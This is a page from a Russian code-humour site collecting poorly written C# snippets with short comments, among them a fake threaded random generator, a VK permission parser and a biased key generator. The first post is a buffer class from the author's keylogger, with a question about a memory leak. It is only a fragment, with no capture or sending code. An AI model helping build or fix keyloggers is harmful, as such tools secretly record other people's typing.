1. C# / Говнокод #20420

    +7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    class Buffer
        {
            StringBuilder buffer = new StringBuilder("", 55);
    
            public void append(String symbol)
            {
                if (buffer.Length > 50)
                    writeToLog();
    
                buffer.Append(symbol);
            }
            
            public void removeLast()
            {
                if (buffer.Length == 0)
                    return;
    
                buffer.Length--;
            }
    
            private void writeToLog()
            {
                keylogFile.write(buffer.ToString());
    
                buffer.Clear();
    
                GC.Collect();
            }
        }

    Выдавил класс буфера для записи в лог с кейлоггера , так как нужно учитывать [backspace].
    Туда передаются строки по 1 символу , так вот если убрать в конце GC.Collect(); начинает течь память ,
    по 100кб где то в минуту при быстром наборе текста ,причем сама она уже потом не освобождается .

    Не могу понять, чем это может быть вызвано.С GC.Collect(); все отлично .

    partizanes, 25 Июля 2016

    Комментарии (70)
  2. C# / Говнокод #20391

    +11

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    using System; 
    using System.Threading; 
    using System.Threading.Tasks; 
    
    
    
    namespace ConsoleApplication23 { 
    
    
    class InternalRandom { 
    static double x; 
    
    Task t, t2; 
    
    public InternalRandom() { 
    t = new Task(ThreadFunc); 
    t.Start(); 
    t2 = new Task(ThreadFunc); 
    t2.Start(); 
    } 
    
    public double Next() { 
    return x; 
    } 
    
    public double Next(double max) { 
    x+=7; 
    return NORMALNYYREM(x,max); 
    //return Math.IEEERemainder(max, x); 
    } 
    
    
    
    static double NORMALNYYREM(double A,double B) { 
    return A - ((double)((long)(A/B))) * B; 
    } 
    
    
    static void ThreadFunc() { 
    while(true) { 
    x += 1; 
    } 
    } 
    
    } 
    
    
    
    class Program { 
    static InternalRandom ir; 
    
    static void Main(string[] args) { 
    ir = new InternalRandom(); 
    for(int i = 1; i <= 20; i++) { 
    Console.WriteLine( "#"+i+" = "+ Random() ); 
    } 
    Console.ReadLine(); 
    //Environment.Exit(0); 
    } 
    
    
    static double Random() { 
    return ir.Next(10); 
    } 
    
    
    } 
    }

    dm_fomenok, 18 Июля 2016

    Комментарии (4)
  3. C# / Говнокод #20387

    +7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    public static List<String> ParseVKPermissionsFromInteger(int permissionsValue)
    {
                var res = new List<String>();
                if ((permissionsValue & 1) > 0) res.Add(NOTIFY);
                if ((permissionsValue & 2) > 0) res.Add(FRIENDS);
                if ((permissionsValue & 4) > 0) res.Add(PHOTOS);
                if ((permissionsValue & 8) > 0) res.Add(AUDIO);
                if ((permissionsValue & 16) > 0) res.Add(VIDEO);
                if ((permissionsValue & 128) > 0) res.Add(PAGES);
                if ((permissionsValue & 1024) > 0) res.Add(STATUS);
                if ((permissionsValue & 2048) > 0) res.Add(NOTES);
                if ((permissionsValue & 4096) > 0) res.Add(MESSAGES);
                if ((permissionsValue & 8192) > 0) res.Add(WALL);
                if ((permissionsValue & 32768) > 0) res.Add(ADS);
                if ((permissionsValue & 65536) > 0) res.Add(OFFLINE);
                if ((permissionsValue & 131072) > 0) res.Add(DOCS);
                if ((permissionsValue & 262144) > 0) res.Add(GROUPS);
                if ((permissionsValue & 524288) > 0) res.Add(NOTIFICATIONS);
                if ((permissionsValue & 1048576) > 0) res.Add(STATS);
                return res;
     }

    Больше кала тут: github.com/VKCOM/vk-windowsphone-sdk

    dm_fomenok, 17 Июля 2016

    Комментарии (54)
  4. C# / Говнокод #20351

    +7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    string[] mOSB0, mOSB1, mOSB2, mOSB3, mOSB4, mOSB5, mOSB6, mOSB7, mOSB8, mOSB9, mOSB10; 
    string[] mOSB11, mOSB12, mOSB13, mOSB14, mOSB15, mOSB16, mOSB17, mOSB18, mOSB19, mOSB20, mOSB21; 
    string[] mOSB22, mOSB23, mOSB24, mOSB25, mOSB26, mOSB27, mOSB28, mOSB29, mOSB30, mOSB31, mOSB32; 
    string[] mOSB33, mOSB34, mOSB35, mOSB36, mOSB37, mOSB38, mOSB39, mOSB40, mOSB41, mOSB42, mOSB43; 
    string[] mOSB44, mOSB45, mOSB46, mOSB47, mOSB48, mOSB49, mOSB50, mOSB51, mOSB52, mOSB53, mOSB54; 
    string[] mOSB55, mOSB56, mOSB57, mOSB58, mOSB59, mOSB60, mOSB61, mOSB62, mOSB63, mOSB64, mOSB65; 
    string[] mOSB66, mOSB67, mOSB68, mOSB69, mOSB70, mOSB71, mOSB72, mOSB73, mOSB74, mOSB75, mOSB76; 
    string[] mOSB77, mOSB78, mOSB79, mOSB80, mOSB81, mOSB82, mOSB83, mOSB84, mOSB85, mOSB86, mOSB87; 
    string[] mOSB88, mOSB89, mOSB90, mOSB91, mOSB92, mOSB93, mOSB94, mOSB95, mOSB96, mOSB97, mOSB98; 
    string[] mOSB99, mOSB100, mOSB101, mOSB102, mOSB103, mOSB104, mOSB105, mOSB106, mOSB107, mOSB108; 
    string[] mOSB109, mOSB110, mOSB111, mOSB112, mOSB113, mOSB114, mOSB115, mOSB116, mOSB117, mOSB118; 
    string[] mOSB119, mOSB120, mOSB121, mOSB122, mOSB123, mOSB124, mOSB125, mOSB126, mOSB127, mOSB128; 
    string[] mOSB129, mOSB130, mOSB131, mOSB132, mOSB133, mOSB134, mOSB135, mOSB136, mOSB137, mOSB138; 
    string[] mOSB139, mOSB140, mOSB141, mOSB142, mOSB143, mOSB144, mOSB145, mOSB146, mOSB147, mOSB148; 
    string[] mOSB149, mOSB150, mOSB151, mOSB152, mOSB153, mOSB154, mOSB155, mOSB156, mOSB157, mOSB158; 
    string[] mOSB159, mOSB160, mOSB161, mOSB162, mOSB163, mOSB164, mOSB165, mOSB166, mOSB167, mOSB168; 
    string[] mOSB169, mOSB170, mOSB171, mOSB172, mOSB173, mOSB174, mOSB175, mOSB176, mOSB177, mOSB178; 
    string[] mOSB179, mOSB180, mOSB181, mOSB182, mOSB183, mOSB184, mOSB185, mOSB186, mOSB187, mOSB188; 
    string[] mOSB189, mOSB190, mOSB191, mOSB192, mOSB193, mOSB194, mOSB195, mOSB196, mOSB197, mOSB198; 
    string[] mOSB199, mOSB200, mOSB201, mOSB202, mOSB203, mOSB204, mOSB205, mOSB206, mOSB207, mOSB208; 
    string[] mOSB209, mOSB210, mOSB211, mOSB212, mOSB213, mOSB214, mOSB215, mOSB216, mOSB217, mOSB218; 
    string[] mOSB219, mOSB220, mOSB221, mOSB222, mOSB223, mOSB224, mOSB225, mOSB226, mOSB227, mOSB228; 
    string[] mOSB229, mOSB230, mOSB231, mOSB232, mOSB233, mOSB234, mOSB235, mOSB236, mOSB237, mOSB238; 
    string[] mOSB239, mOSB240, mOSB241, mOSB242, mOSB243, mOSB244, mOSB245, mOSB246, mOSB247, mOSB248; 
    string[] mOSB249, mOSB250, mOSB251, mOSB252, mOSB253; 
    string[] NORM, PEAK, NDST, NDSTR, NORMB, NDKOD, NDREZ; 
    string[] mTmcz, mKODZD, mKODRO, mKODNRO; 
    string csSosh = "Неверный КОД СОБЫТИЯ !!! - "; 
    string csSoshd = "Значение слова за пределами описанного";

    Массивы.
    Особенно хорош элегантный дефис, предлагающий продолжить описание ошибки.

    mrhotroad, 08 Июля 2016

    Комментарии (2)
  5. C# / Говнокод #20332

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    public static GridElementForm SetConnectionState(GridElement[][] _map, int x, int y)
            {
    
                int right;
                int left;
                int up;
                int down;
                try { right = (int)_map[x - 1][y].elementType; }
                catch { right = 0; }
                try { left = (int)_map[x + 1][y].elementType; }
                catch { left = 0; }
                try { up = (int)_map[x][y - 1].elementType; } catch { up = 0; }
                try { down = (int)_map[x][y + 1].elementType; } catch { down = 0; }
                //****   I
                if (right >= 1 && left >= 1 && up == 0 && down == 0)
                {
                    return GridElementForm.Ihorizontal;
                }
                else if (right == 0 && left == 0 && up > 0 && down > 0)
                {
                    return GridElementForm.Ivertical;
                }
                ///*********
                /// *****   T 
                else if (right > 0 && left == 0 && up > 0 && down > 0)
                {
                    return GridElementForm.T1;
                }
                else if (right == 0 && left > 0 && up > 0 && down > 0)
                {
                    return GridElementForm.T2;
                }
                else if (right > 0 && left > 0 && up == 0 && down > 0)
                {
                    return GridElementForm.T3;
                }
                else if (right > 0 && left > 0 && up > 0 && down == 0)
                {
                    return GridElementForm.T4;
                }
                ///   *******
                ///   ******* L
                else if (right > 0 && left == 0 && up > 0 && down == 0)
                {
                    return GridElementForm.L2;
                }
                else if (right == 0 && left > 0 && up > 0 && down == 0)
                {
                    return GridElementForm.L1;
                }
                else if (right == 0 && left > 0 && up == 0 && down > 0)
                {
                    return GridElementForm.L4;
                }
                else if (right > 0 && left == 0 && up == 0 && down > 0)
                {
                    return GridElementForm.L3;
                }
                ///   *******
                else if (right > 0 && left > 0 && up > 0 && down > 0)
                {
                    return GridElementForm.X;
                }
                else
                {
                    return 0;
                }
            }
    
        }

    Без комментариев

    isnotameme, 06 Июля 2016

    Комментарии (2)
  6. C# / Говнокод #20325

    +3

    1. 1
    2. 2
    3. 3
    4. 4
    if (Expires != 0 && Expires.ToString() != "9223372036854775807")
    {
            ...
    }

    Expires типа long

    Pointerjkeee, 05 Июля 2016

    Комментарии (4)
  7. C# / Говнокод #20313

    +5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    public string GenerateKey(int length)
      {
        System.Random random = new System.Random();
        char[] chArray = new char[62]
        {
          'A',
          'B',
          'C',
          'D',
          'E',
          'F',
          'G',
          'H',
          'I',
          'J',
          'K',
          'L',
          'M',
          'N',
          'O',
          'P',
          'Q',
          'R',
          'S',
          'T',
          'U',
          'V',
          'W',
          'X',
          'Y',
          'Z',
          'a',
          'b',
          'c',
          'd',
          'e',
          'f',
          'g',
          'h',
          'i',
          'j',
          'k',
          'l',
          'm',
          'n',
          'o',
          'p',
          'q',
          'r',
          's',
          't',
          'u',
          'v',
          'w',
          'x',
          'y',
          'z',
          '0',
          '1',
          '2',
          '3',
          '4',
          '5',
          '6',
          '7',
          '8',
          '9'
        };
        string str = string.Empty;
        for (int index = 0; index < length; ++index)
          str += (string) (object) chArray[random.Next(0, 35)];
        return str;
      }

    Решил декомпилировать "Копатель Онлайн" ради лулзов.

    AlexGear, 02 Июля 2016

    Комментарии (15)
  8. C# / Говнокод #20291

    +5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    using static System.Console;
    
    namespace OptimizationDetector
    {
        public static class OptimizationDetector
        {
            private static class pls
            {
                public static bool wtf = true;
            }
    
            private static int rly = detect();
    
            private static int detect()
            {
                pls.wtf = false;
                return 0;
            }
    
            public static bool IsOptimizationEnabled
            {
                get { return pls.wtf; }
            }
        }
    
        class Program
        {
            static void Main(string[] args)
            {
                WriteLine($"\"Optimize code\" is enabled: {OptimizationDetector.IsOptimizationEnabled}");
                ReadKey();
            }
        }
    }

    ОПТИМИЗИРОВАНО

    Kozel, 29 Июня 2016

    Комментарии (3)
  9. C# / Говнокод #20267

    +3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    Оффтоп
    
    Пишу либу для гуя в консоли. Столкнулся с проблемой медленного вывода в консоль на линуксе.
    На винде есть няшный WriteConsoleOutput, который может вывести буфер разом на консоль, в линупсе ничего подобного не нашел.
    Если использовать Console.WriteLine или libc-шный puts, все лагает неимоверно
    
    Есть идеи?

    cykablyad, 24 Июня 2016

    Комментарии (168)
  10. C# / Говнокод #20261

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    using System;
    using System.Collections.Generic;
    using System.Net;
    using System.Web.Script.Serialization;
    
    namespace Govnokod
    {
    	public class Program
    	{
    		private static string input;
    		private static string[] inputargs;
    		private static int inputargsh = 0;
    
    		private static int eax;
    		private static string hax,hbx;
    
    		public static void CommandActions()
    		{
    			if (inputargs[0] == "download")
    			{
    				if (inputargsh > 1)
    				{
    					hax = inputargs[1];
    					hbx = (inputargsh > 2) ? inputargs[2]:null;
    					if (String.IsNullOrEmpty(hbx))
    						hbx = Environment.CurrentDirectory+"\\"+hax;
    					Console.WriteLine("Downloading...");
    				}
    				else Console.WriteLine("invalid argument: 1\n");
    			}
    			else if (inputargs[0] == "apkinfo")
    			{
    				if (inputargsh > 1)
    				{
    					Console.WriteLine("Apkinfo...");
    				}
    				else Console.WriteLine("invalid argument: 1\n");
    			}
    			else if (input != "")
    				Console.WriteLine("invalid command: "+input+"\n");
    			CommandStart();
    		}
    
    		public static void CommandStart()
    		{
    			if (inputargsh != 0)
    			{
    				Array.Clear(inputargs,0,inputargsh);
    				inputargsh = 0;
    			}
    			input = Console.ReadLine();
    			input = input.Trim();
    			hax = input.ToLower();
    			while (true)
    			{
    				eax = hax.IndexOf(' ');
    				Array.Resize(ref inputargs,inputargsh+1);
    				if (eax != -1)
    				{
    					inputargs[inputargsh] = hax.Substring(0,eax);
    					hax = hax.Substring(eax);
    					hax = hax.TrimStart();
    					inputargsh++;
    				}
    				else
    				{
    					inputargs[inputargsh] = hax;
    					inputargsh++;
    					hax = null;
    					break;
    				}
    			}
    			if (inputargs[0] == "quit")
    			{
    				Console.Clear();
    				Console.Write("Press any key to quit...");
    				Console.ReadKey();
    			}
    			else CommandActions();
    		}
    
    		public static void Main(string[] args)
    		{
    			Console.WriteLine("; Commands:");
    			Console.WriteLine(";\tdownload <apk> <path>");
    			Console.WriteLine(";\tapkinfo <apk> or <index>");
    			Console.WriteLine(";\tquit <>\n");
    			CommandStart();
    		}
    	}
    }

    "Распознователь Команд 6120"

    ReckitRockefeller, 23 Июня 2016

    Комментарии (12)